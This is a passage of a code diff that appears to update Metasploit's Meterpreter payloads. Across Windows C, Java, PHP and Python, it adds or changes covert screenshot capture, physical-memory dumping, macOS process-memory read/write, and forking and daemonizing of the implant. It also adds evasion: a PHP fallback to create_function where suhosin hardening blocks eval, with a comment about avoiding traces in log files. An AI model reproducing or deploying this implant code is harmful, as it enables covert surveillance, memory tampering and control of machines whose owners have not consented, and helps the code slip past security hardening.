|
dprintf("[WINPMEM] Memory end reached.");
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ctx->pmem_info.Run[ctx->index].start > ctx->offset) {
|
if (ctx->pmem_info.Run[ctx->index].start > ctx->offset) {
|
||||||
//PADDING
|
|
||||||
uint64_t padding_size = ctx->pmem_info.Run[ctx->index].start - ctx->offset;
|
uint64_t padding_size = ctx->pmem_info.Run[ctx->index].start - ctx->offset;
|
||||||
DWORD padding_size_max = (DWORD)min(padding_size, bufferSize);
|
DWORD padding_size_max = (DWORD)min(padding_size, bufferSize);
|
||||||
ZeroMemory(buffer, padding_size_max);
|
ZeroMemory(buffer, padding_size_max);
|
||||||
|
@ -36,7 +36,7 @@ class WinPmem_meterpreter : public WinPmem {
|
|||||||
public:
|
public:
|
||||||
virtual int extract_file_(__int64 resource_id, TCHAR *filename);
|
virtual int extract_file_(__int64 resource_id, TCHAR *filename);
|
||||||
virtual HANDLE get_fd();
|
virtual HANDLE get_fd();
|
||||||
virtual SIZE_T get_max_physical_memory();
|
virtual uint64_t get_max_physical_memory();
|
||||||
};
|
};
|
||||||
|
|
||||||
class WinPmem_meterpreter32 : public WinPmem_meterpreter {
|
class WinPmem_meterpreter32 : public WinPmem_meterpreter {
|
||||||
|
@ -25,10 +25,10 @@ DWORD screenshot_send( char * cpNamedPipe, BYTE * pJpegBuffer, DWORD dwJpegSize
|
|||||||
hPipe = CreateFileA( cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
|
hPipe = CreateFileA( cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
|
||||||
if( !hPipe )
|
if( !hPipe )
|
||||||
BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. CreateFileA failed" );
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. CreateFileA failed" );
|
||||||
|
|
||||||
if( !WriteFile( hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL ) )
|
if( !WriteFile( hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL ) )
|
||||||
BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. WriteFile JPEG length failed" );
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. WriteFile JPEG length failed" );
|
||||||
|
|
||||||
if( !dwJpegSize || !pJpegBuffer )
|
if( !dwJpegSize || !pJpegBuffer )
|
||||||
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH );
|
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH );
|
||||||
|
|
||||||
@ -62,7 +62,7 @@ DWORD screenshot( int quality, DWORD dwPipeName )
|
|||||||
HWINSTA hOrigWindowStation = NULL;
|
HWINSTA hOrigWindowStation = NULL;
|
||||||
HDESK hInputDesktop = NULL;
|
HDESK hInputDesktop = NULL;
|
||||||
HDESK hOrigDesktop = NULL;
|
HDESK hOrigDesktop = NULL;
|
||||||
HWND hDesktopWnd = NULL;
|
HWND hDesktopWnd = NULL;
|
||||||
HDC hdc = NULL;
|
HDC hdc = NULL;
|
||||||
HDC hmemdc = NULL;
|
HDC hmemdc = NULL;
|
||||||
HBITMAP hbmp = NULL;
|
HBITMAP hbmp = NULL;
|
||||||
@ -88,14 +88,14 @@ DWORD screenshot( int quality, DWORD dwPipeName )
|
|||||||
|
|
||||||
if( !GetVersionEx( &os ) )
|
if( !GetVersionEx( &os ) )
|
||||||
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" )
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" )
|
||||||
|
|
||||||
// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
|
// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
|
||||||
if( os.dwMajorVersion <= 4 )
|
if( os.dwMajorVersion <= 4 )
|
||||||
{
|
{
|
||||||
xmetric = SM_CXSCREEN;
|
xmetric = SM_CXSCREEN;
|
||||||
ymetric = SM_CYSCREEN;
|
ymetric = SM_CYSCREEN;
|
||||||
}
|
}
|
||||||
|
|
||||||
// open the WinSta0 as some services are attached to a different window station.
|
// open the WinSta0 as some services are attached to a different window station.
|
||||||
hWindowStation = OpenWindowStationA( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
|
hWindowStation = OpenWindowStationA( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
|
||||||
if( !hWindowStation )
|
if( !hWindowStation )
|
||||||
@ -103,14 +103,14 @@ DWORD screenshot( int quality, DWORD dwPipeName )
|
|||||||
if( RevertToSelf() )
|
if( RevertToSelf() )
|
||||||
hWindowStation = OpenWindowStationA( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
|
hWindowStation = OpenWindowStationA( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
|
||||||
}
|
}
|
||||||
|
|
||||||
// if we cant open the defaut input station we wont be able to take a screenshot
|
// if we cant open the defaut input station we wont be able to take a screenshot
|
||||||
if( !hWindowStation )
|
if( !hWindowStation )
|
||||||
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
|
BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
|
||||||
|
|
||||||
// get the current process's window station so we can restore it later on.
|
// get the current process's window station so we can restore it later on.
|
||||||
hOrigWindowStation = GetProcessWindowStation();
|
hOrigWindowStation = GetProcessWindowStation();
|
||||||
|
|
||||||
// set the host process's window station to this sessions default input station we opened
|
// set the host process's window station to this sessions default input station we opened
|
||||||
if( !SetProcessWindowStation( hWindowStation ) )
|
if( !SetProcessWindowStation( hWindowStation ) )
|
||||||
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" );
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" );
|
||||||
@ -147,8 +147,8 @@ DWORD screenshot( int quality, DWORD dwPipeName )
|
|||||||
// prevent breaking functionality on <= NT 4.0
|
// prevent breaking functionality on <= NT 4.0
|
||||||
if (os.dwMajorVersion >= 4)
|
if (os.dwMajorVersion >= 4)
|
||||||
{
|
{
|
||||||
sxpos = GetSystemMetrics(xposition);
|
sxpos = GetSystemMetrics(SM_XVIRTUALSCREEN);
|
||||||
sypos = GetSystemMetrics(yposition);
|
sypos = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@ -156,15 +156,17 @@ DWORD screenshot( int quality, DWORD dwPipeName )
|
|||||||
hbmp = CreateCompatibleBitmap( hdc, sx, sy );
|
hbmp = CreateCompatibleBitmap( hdc, sx, sy );
|
||||||
if( !hbmp )
|
if( !hbmp )
|
||||||
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" );
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" );
|
||||||
|
|
||||||
// this bitmap is backed by the memory DC
|
// this bitmap is backed by the memory DC
|
||||||
if( !SelectObject( hmemdc, hbmp ) )
|
if( !SelectObject( hmemdc, hbmp ) )
|
||||||
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );
|
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );
|
||||||
|
|
||||||
// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
|
// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
|
||||||
// screenshot all available monitors by default
|
// screenshot all available monitors by default
|
||||||
if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, sxpos, sypos, SRCCOPY ) )
|
|
||||||
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" );
|
SetProcessDPIAware();
|
||||||
|
if (!StretchBlt(hmemdc, 0, 0, sx, sy, hdc, sxpos, sypos, GetSystemMetrics(SM_CXVIRTUALSCREEN), GetSystemMetrics(SM_CYVIRTUALSCREEN), SRCCOPY))
|
||||||
|
BREAK_ON_ERROR("[SCREENSHOT] screenshot. StretchBlt failed");
|
||||||
|
|
||||||
// finally convert the BMP we just made into a JPEG...
|
// finally convert the BMP we just made into a JPEG...
|
||||||
if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 )
|
if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 )
|
||||||
@ -172,7 +174,7 @@ DWORD screenshot( int quality, DWORD dwPipeName )
|
|||||||
|
|
||||||
// we have succeded
|
// we have succeded
|
||||||
dwResult = ERROR_SUCCESS;
|
dwResult = ERROR_SUCCESS;
|
||||||
|
|
||||||
} while( 0 );
|
} while( 0 );
|
||||||
|
|
||||||
// if we have successfully taken a screenshot we send it back via the named pipe
|
// if we have successfully taken a screenshot we send it back via the named pipe
|
||||||
@ -227,7 +229,7 @@ DWORD screenshot_command_dword( char * cpCommandLine, char * cpCommand )
|
|||||||
{
|
{
|
||||||
if( !cpCommandLine || !cpCommand )
|
if( !cpCommandLine || !cpCommand )
|
||||||
break;
|
break;
|
||||||
|
|
||||||
cpString = strstr( cpCommandLine, cpCommand );
|
cpString = strstr( cpCommandLine, cpCommand );
|
||||||
if( !cpString )
|
if( !cpString )
|
||||||
break;
|
break;
|
||||||
@ -254,7 +256,7 @@ int screenshot_command_int( char * cpCommandLine, char * cpCommand )
|
|||||||
{
|
{
|
||||||
if( !cpCommandLine || !cpCommand )
|
if( !cpCommandLine || !cpCommand )
|
||||||
break;
|
break;
|
||||||
|
|
||||||
cpString = strstr( cpCommandLine, cpCommand );
|
cpString = strstr( cpCommandLine, cpCommand );
|
||||||
if( !cpString )
|
if( !cpString )
|
||||||
break;
|
break;
|
||||||
@ -284,9 +286,9 @@ VOID screenshot_main( char * cpCommandLine )
|
|||||||
|
|
||||||
if( strlen( cpCommandLine ) == 0 )
|
if( strlen( cpCommandLine ) == 0 )
|
||||||
break;
|
break;
|
||||||
|
|
||||||
dprintf( "[SCREENSHOT] screenshot_main. lpCmdLine=%s", cpCommandLine );
|
dprintf( "[SCREENSHOT] screenshot_main. lpCmdLine=%s", cpCommandLine );
|
||||||
|
|
||||||
if( strstr( cpCommandLine, "/s" ) )
|
if( strstr( cpCommandLine, "/s" ) )
|
||||||
{
|
{
|
||||||
DWORD dwPipeName = 0;
|
DWORD dwPipeName = 0;
|
||||||
@ -313,8 +315,8 @@ BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
|
|||||||
{
|
{
|
||||||
BOOL bReturnValue = TRUE;
|
BOOL bReturnValue = TRUE;
|
||||||
|
|
||||||
switch( dwReason )
|
switch( dwReason )
|
||||||
{
|
{
|
||||||
case DLL_PROCESS_ATTACH:
|
case DLL_PROCESS_ATTACH:
|
||||||
hAppInstance = hInstance;
|
hAppInstance = hInstance;
|
||||||
if( lpReserved != NULL )
|
if( lpReserved != NULL )
|
||||||
|
@ -333,6 +333,8 @@ DWORD server_setup(MetsrvConfig* config)
|
|||||||
config->session.session_guid[8], config->session.session_guid[9], config->session.session_guid[10], config->session.session_guid[11],
|
config->session.session_guid[8], config->session.session_guid[9], config->session.session_guid[10], config->session.session_guid[11],
|
||||||
config->session.session_guid[12], config->session.session_guid[13], config->session.session_guid[14], config->session.session_guid[15]);
|
config->session.session_guid[12], config->session.session_guid[13], config->session.session_guid[14], config->session.session_guid[15]);
|
||||||
|
|
||||||
|
disable_thread_error_reporting();
|
||||||
|
|
||||||
// if hAppInstance is still == NULL it means that we havent been
|
// if hAppInstance is still == NULL it means that we havent been
|
||||||
// reflectivly loaded so we must patch in the hAppInstance value
|
// reflectivly loaded so we must patch in the hAppInstance value
|
||||||
// for use with loading server extensions later.
|
// for use with loading server extensions later.
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
# -*- coding:binary -*-
|
# -*- coding:binary -*-
|
||||||
module MetasploitPayloads
|
module MetasploitPayloads
|
||||||
VERSION = '1.2.37'
|
VERSION = '1.2.48'
|
||||||
|
|
||||||
def self.version
|
def self.version
|
||||||
VERSION
|
VERSION
|
||||||
|
@ -74,6 +74,10 @@ public class Payload {
|
|||||||
csr += 4;
|
csr += 4;
|
||||||
byte[] uuid = ConfigParser.readBytes(configBytes, csr, ConfigParser.UUID_LEN);
|
byte[] uuid = ConfigParser.readBytes(configBytes, csr, ConfigParser.UUID_LEN);
|
||||||
csr += ConfigParser.UUID_LEN;
|
csr += ConfigParser.UUID_LEN;
|
||||||
|
|
||||||
|
byte[] sessionGUID = ConfigParser.readBytes(configBytes, csr, ConfigParser.GUID_LEN);
|
||||||
|
csr += ConfigParser.GUID_LEN;
|
||||||
|
|
||||||
String url = ConfigParser.readString(configBytes, csr, ConfigParser.URL_LEN);
|
String url = ConfigParser.readString(configBytes, csr, ConfigParser.URL_LEN);
|
||||||
csr += ConfigParser.URL_LEN;
|
csr += ConfigParser.URL_LEN;
|
||||||
commTimeout = ConfigParser.unpack32(configBytes, csr);
|
commTimeout = ConfigParser.unpack32(configBytes, csr);
|
||||||
|
@ -423,7 +423,15 @@ function core_loadlib($req, &$pkt) {
|
|||||||
return ERROR_FAILURE;
|
return ERROR_FAILURE;
|
||||||
}
|
}
|
||||||
$tmp = $commands;
|
$tmp = $commands;
|
||||||
eval($data_tlv['value']);
|
# We might not be able to use `eval` here because of some hardening
|
||||||
|
# (for example, suhosin), so we walk around by using `create_function` instead,
|
||||||
|
# but since this function is deprecated since php 7.2+, we're not using it
|
||||||
|
# when we can avoid it, since it might leave some traces in the log files.
|
||||||
|
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
|
||||||
|
create_function('', $data_tlv['value'])();
|
||||||
|
} else {
|
||||||
|
eval($data_tlv['value']);
|
||||||
|
}
|
||||||
$new = array_diff($commands, $tmp);
|
$new = array_diff($commands, $tmp);
|
||||||
foreach ($new as $meth) {
|
foreach ($new as $meth) {
|
||||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
|
||||||
|
@ -14,6 +14,7 @@ import time
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
import ctypes
|
import ctypes
|
||||||
|
import ctypes.util
|
||||||
has_ctypes = True
|
has_ctypes = True
|
||||||
has_windll = hasattr(ctypes, 'windll')
|
has_windll = hasattr(ctypes, 'windll')
|
||||||
except ImportError:
|
except ImportError:
|
||||||
@ -69,10 +70,10 @@ else:
|
|||||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
||||||
|
|
||||||
if has_ctypes:
|
if has_ctypes:
|
||||||
|
size_t = getattr(ctypes, 'c_uint' + str(ctypes.sizeof(ctypes.c_void_p) * 8))
|
||||||
#
|
#
|
||||||
# Windows Structures
|
# Windows Structures
|
||||||
#
|
#
|
||||||
size_t = getattr(ctypes, 'c_uint' + str(ctypes.sizeof(ctypes.c_void_p) * 8))
|
|
||||||
class EVENTLOGRECORD(ctypes.Structure):
|
class EVENTLOGRECORD(ctypes.Structure):
|
||||||
_fields_ = [("Length", ctypes.c_uint32),
|
_fields_ = [("Length", ctypes.c_uint32),
|
||||||
("Reserved", ctypes.c_uint32),
|
("Reserved", ctypes.c_uint32),
|
||||||
@ -1770,6 +1771,33 @@ def _linux_memwrite(address, data):
|
|||||||
raise RuntimeError('operation failed')
|
raise RuntimeError('operation failed')
|
||||||
return size
|
return size
|
||||||
|
|
||||||
|
def _osx_memread(address, size):
|
||||||
|
libc = ctypes.CDLL(ctypes.util.find_library('c'))
|
||||||
|
task = libc.mach_task_self()
|
||||||
|
libc.mach_vm_read.argtypes = [ctypes.c_uint32, size_t, size_t, ctypes.POINTER(ctypes.c_void_p), ctypes.POINTER(ctypes.c_uint32)]
|
||||||
|
libc.mach_vm_read.restype = ctypes.c_uint32
|
||||||
|
pointer = ctypes.c_void_p()
|
||||||
|
out_size = ctypes.c_uint32()
|
||||||
|
result = libc.mach_vm_read(task, address, size, ctypes.byref(pointer), ctypes.byref(out_size))
|
||||||
|
if result == 1: # KERN_INVALID_ADDRESS
|
||||||
|
raise RuntimeError('invalid address')
|
||||||
|
elif result == 2: # KERN_PROTECTION_FAILURE
|
||||||
|
raise RuntimeError('invalid permissions')
|
||||||
|
if result != 0 or size != out_size.value:
|
||||||
|
raise RuntimeError('operation failed')
|
||||||
|
buff = ctypes.cast(pointer, ctypes.POINTER(ctypes.c_byte * out_size.value))
|
||||||
|
return ctarray_to_bytes(buff.contents)
|
||||||
|
|
||||||
|
def _osx_memwrite(address, data):
|
||||||
|
libc = ctypes.CDLL(ctypes.util.find_library('c'))
|
||||||
|
task = libc.mach_task_self()
|
||||||
|
libc.mach_vm_write.argtypes = [ctypes.c_uint32, size_t, ctypes.c_void_p, ctypes.c_uint32]
|
||||||
|
libc.mach_vm_write.restype = ctypes.c_uint32
|
||||||
|
buff = bytes_to_ctarray(data)
|
||||||
|
if libc.mach_vm_write(task, address, buff, len(buff)) != 0:
|
||||||
|
raise RuntimeError('operation failed')
|
||||||
|
return len(buff)
|
||||||
|
|
||||||
def _win_format_message(source, msg_id):
|
def _win_format_message(source, msg_id):
|
||||||
EN_US = 0
|
EN_US = 0
|
||||||
msg_flags = 0
|
msg_flags = 0
|
||||||
@ -1811,7 +1839,7 @@ def _win_memwrite(address, data, handle=-1):
|
|||||||
return None
|
return None
|
||||||
return written.value
|
return written.value
|
||||||
|
|
||||||
@register_function_if(sys.platform.startswith('linux') or has_windll)
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
|
||||||
def stdapi_railgun_api(request, response):
|
def stdapi_railgun_api(request, response):
|
||||||
size_out = packet_get_tlv(request, TLV_TYPE_RAILGUN_SIZE_OUT)['value']
|
size_out = packet_get_tlv(request, TLV_TYPE_RAILGUN_SIZE_OUT)['value']
|
||||||
stack_blob = packet_get_tlv(request, TLV_TYPE_RAILGUN_STACKBLOB)['value']
|
stack_blob = packet_get_tlv(request, TLV_TYPE_RAILGUN_STACKBLOB)['value']
|
||||||
@ -1863,13 +1891,16 @@ def stdapi_railgun_api(request, response):
|
|||||||
|
|
||||||
debug_print('[*] railgun calling: ' + lib_name + '!' + func_name)
|
debug_print('[*] railgun calling: ' + lib_name + '!' + func_name)
|
||||||
prototype = func_type(native, *func_args)
|
prototype = func_type(native, *func_args)
|
||||||
if sys.platform.startswith('linux'):
|
if sys.platform == 'darwin' or sys.platform.startswith('linux'):
|
||||||
libc = ctypes.cdll.LoadLibrary('libc.so.6')
|
if sys.platform == 'darwin':
|
||||||
|
libc = ctypes.CDLL(ctypes.util.find_library('c'))
|
||||||
|
else:
|
||||||
|
libc = ctypes.cdll.LoadLibrary('libc.so.6')
|
||||||
p_errno = ctypes.cast(libc.errno, ctypes.POINTER(ctypes.c_int))
|
p_errno = ctypes.cast(libc.errno, ctypes.POINTER(ctypes.c_int))
|
||||||
errno = p_errno.contents
|
errno = p_errno.contents
|
||||||
last_error = ctypes.c_int(0)
|
last_error = ctypes.c_int(0)
|
||||||
p_errno.contents = last_error
|
p_errno.contents = last_error
|
||||||
func = prototype((func_name, ctypes.CDLL(lib_name)))
|
func = prototype((func_name, ctypes.CDLL(ctypes.util.find_library(lib_name) or lib_name)))
|
||||||
result = func(*call_args)
|
result = func(*call_args)
|
||||||
p_errno.contents = errno
|
p_errno.contents = errno
|
||||||
last_error = last_error.value
|
last_error = last_error.value
|
||||||
@ -1900,19 +1931,21 @@ def stdapi_railgun_api(request, response):
|
|||||||
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, ctarray_to_bytes(buff_blob_inout))
|
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, ctarray_to_bytes(buff_blob_inout))
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@register_function_if(sys.platform.startswith('linux') or has_windll)
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
|
||||||
def stdapi_railgun_api_multi(request, response):
|
def stdapi_railgun_api_multi(request, response):
|
||||||
for group_tlv in packet_enum_tlvs(request, tlv_type=TLV_TYPE_RAILGUN_MULTI_GROUP):
|
for group_tlv in packet_enum_tlvs(request, tlv_type=TLV_TYPE_RAILGUN_MULTI_GROUP):
|
||||||
group_result = stdapi_railgun_api(group_tlv['value'], bytes())[1]
|
group_result = stdapi_railgun_api(group_tlv['value'], bytes())[1]
|
||||||
response += tlv_pack(TLV_TYPE_RAILGUN_MULTI_GROUP, group_result)
|
response += tlv_pack(TLV_TYPE_RAILGUN_MULTI_GROUP, group_result)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@register_function_if(sys.platform.startswith('linux') or has_windll)
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
|
||||||
def stdapi_railgun_memread(request, response):
|
def stdapi_railgun_memread(request, response):
|
||||||
address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
|
address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
|
||||||
length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
|
length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
|
||||||
debug_print('[*] railgun reading ' + str(length) + ' bytes from 0x' + hex(address))
|
debug_print('[*] railgun reading ' + str(length) + ' bytes from 0x' + hex(address))
|
||||||
if sys.platform.startswith('linux'):
|
if sys.platform.startswith('darwin'):
|
||||||
|
result = _osx_memread(address, length)
|
||||||
|
elif sys.platform.startswith('linux'):
|
||||||
result = _linux_memread(address, length)
|
result = _linux_memread(address, length)
|
||||||
elif has_windll:
|
elif has_windll:
|
||||||
result = _win_memread(address, length)
|
result = _win_memread(address, length)
|
||||||
@ -1923,13 +1956,15 @@ def stdapi_railgun_memread(request, response):
|
|||||||
response += tlv_pack(TLV_TYPE_RAILGUN_MEM_DATA, result)
|
response += tlv_pack(TLV_TYPE_RAILGUN_MEM_DATA, result)
|
||||||
return ERROR_SUCCESS, response
|
return ERROR_SUCCESS, response
|
||||||
|
|
||||||
@register_function_if(sys.platform.startswith('linux') or has_windll)
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
|
||||||
def stdapi_railgun_memwrite(request, response):
|
def stdapi_railgun_memwrite(request, response):
|
||||||
address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
|
address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
|
||||||
data = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_DATA)['value']
|
data = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_DATA)['value']
|
||||||
length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
|
length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
|
||||||
debug_print('[*] railgun writing ' + str(len(data)) + ' bytes to 0x' + hex(address))
|
debug_print('[*] railgun writing ' + str(len(data)) + ' bytes to 0x' + hex(address))
|
||||||
if sys.platform.startswith('linux'):
|
if sys.platform.startswith('darwin'):
|
||||||
|
result = _osx_memwrite(address, data)
|
||||||
|
elif sys.platform.startswith('linux'):
|
||||||
result = _linux_memwrite(address, data)
|
result = _linux_memwrite(address, data)
|
||||||
elif has_windll:
|
elif has_windll:
|
||||||
result = _win_memwrite(address, data)
|
result = _win_memwrite(address, data)
|
||||||
|
@ -60,6 +60,7 @@ random.seed()
|
|||||||
|
|
||||||
# these values will be patched, DO NOT CHANGE THEM
|
# these values will be patched, DO NOT CHANGE THEM
|
||||||
DEBUGGING = False
|
DEBUGGING = False
|
||||||
|
TRY_TO_FORK = True
|
||||||
HTTP_CONNECTION_URL = None
|
HTTP_CONNECTION_URL = None
|
||||||
HTTP_PROXY = None
|
HTTP_PROXY = None
|
||||||
HTTP_USER_AGENT = None
|
HTTP_USER_AGENT = None
|
||||||
@ -238,6 +239,13 @@ def debug_print(msg):
|
|||||||
if DEBUGGING:
|
if DEBUGGING:
|
||||||
print(msg)
|
print(msg)
|
||||||
|
|
||||||
|
@export
|
||||||
|
def debug_traceback(msg=None):
|
||||||
|
if DEBUGGING:
|
||||||
|
if msg:
|
||||||
|
print(msg)
|
||||||
|
traceback.print_exc(file=sys.stderr)
|
||||||
|
|
||||||
@export
|
@export
|
||||||
def error_result(exception=None):
|
def error_result(exception=None):
|
||||||
if not exception:
|
if not exception:
|
||||||
@ -533,6 +541,7 @@ class Transport(object):
|
|||||||
try:
|
try:
|
||||||
pkt = self.decrypt_packet(self._get_packet())
|
pkt = self.decrypt_packet(self._get_packet())
|
||||||
except:
|
except:
|
||||||
|
debug_traceback()
|
||||||
return None
|
return None
|
||||||
if pkt is None:
|
if pkt is None:
|
||||||
return None
|
return None
|
||||||
@ -554,6 +563,7 @@ class Transport(object):
|
|||||||
try:
|
try:
|
||||||
self._send_packet(self.encrypt_packet(pkt))
|
self._send_packet(self.encrypt_packet(pkt))
|
||||||
except:
|
except:
|
||||||
|
debug_traceback()
|
||||||
return False
|
return False
|
||||||
self.communication_last = time.time()
|
self.communication_last = time.time()
|
||||||
return True
|
return True
|
||||||
@ -709,7 +719,7 @@ class TcpTransport(Transport):
|
|||||||
first = self._first_packet
|
first = self._first_packet
|
||||||
self._first_packet = False
|
self._first_packet = False
|
||||||
if not select.select([self.socket], [], [], 0.5)[0]:
|
if not select.select([self.socket], [], [], 0.5)[0]:
|
||||||
return ''
|
return bytes()
|
||||||
packet = self.socket.recv(PACKET_HEADER_SIZE)
|
packet = self.socket.recv(PACKET_HEADER_SIZE)
|
||||||
if packet == '': # remote is closed
|
if packet == '': # remote is closed
|
||||||
self.request_retire = True
|
self.request_retire = True
|
||||||
@ -755,6 +765,7 @@ class TcpTransport(Transport):
|
|||||||
class PythonMeterpreter(object):
|
class PythonMeterpreter(object):
|
||||||
def __init__(self, transport):
|
def __init__(self, transport):
|
||||||
self.transport = transport
|
self.transport = transport
|
||||||
|
self._transport_sleep = None
|
||||||
self.running = False
|
self.running = False
|
||||||
self.last_registered_extension = None
|
self.last_registered_extension = None
|
||||||
self.extension_functions = {}
|
self.extension_functions = {}
|
||||||
@ -859,6 +870,12 @@ class PythonMeterpreter(object):
|
|||||||
response = self.create_response(request)
|
response = self.create_response(request)
|
||||||
if response:
|
if response:
|
||||||
self.send_packet(response)
|
self.send_packet(response)
|
||||||
|
if self._transport_sleep:
|
||||||
|
self.transport.deactivate()
|
||||||
|
time.sleep(self._transport_sleep)
|
||||||
|
self._transport_sleep = None
|
||||||
|
if not self.transport.activate():
|
||||||
|
self.transport_change()
|
||||||
continue
|
continue
|
||||||
# iterate over the keys because self.channels could be modified if one is closed
|
# iterate over the keys because self.channels could be modified if one is closed
|
||||||
channel_ids = list(self.channels.keys())
|
channel_ids = list(self.channels.keys())
|
||||||
@ -1086,11 +1103,8 @@ class PythonMeterpreter(object):
|
|||||||
seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
|
seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
|
||||||
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
|
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
|
||||||
if seconds:
|
if seconds:
|
||||||
self.transport.deactivate()
|
self._transport_sleep = seconds
|
||||||
time.sleep(seconds)
|
return ERROR_SUCCESS, response
|
||||||
if not self.transport.activate():
|
|
||||||
self.transport_change()
|
|
||||||
return None
|
|
||||||
|
|
||||||
def _core_channel_open(self, request, response):
|
def _core_channel_open(self, request, response):
|
||||||
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
||||||
@ -1209,9 +1223,7 @@ class PythonMeterpreter(object):
|
|||||||
return
|
return
|
||||||
result, resp = result
|
result, resp = result
|
||||||
except Exception:
|
except Exception:
|
||||||
debug_print('[-] method ' + handler_name + ' resulted in an error')
|
debug_traceback('[-] method ' + handler_name + ' resulted in an error')
|
||||||
if DEBUGGING:
|
|
||||||
traceback.print_exc(file=sys.stderr)
|
|
||||||
result = error_result()
|
result = error_result()
|
||||||
else:
|
else:
|
||||||
if result != ERROR_SUCCESS:
|
if result != ERROR_SUCCESS:
|
||||||
@ -1226,7 +1238,8 @@ class PythonMeterpreter(object):
|
|||||||
resp += tlv_pack(reqid_tlv)
|
resp += tlv_pack(reqid_tlv)
|
||||||
return tlv_pack_response(result, resp)
|
return tlv_pack_response(result, resp)
|
||||||
|
|
||||||
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
|
||||||
|
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
|
||||||
if hasattr(os, 'setsid'):
|
if hasattr(os, 'setsid'):
|
||||||
try:
|
try:
|
||||||
os.setsid()
|
os.setsid()
|
||||||
|
Loading…
x
Reference in New Issue
Block a user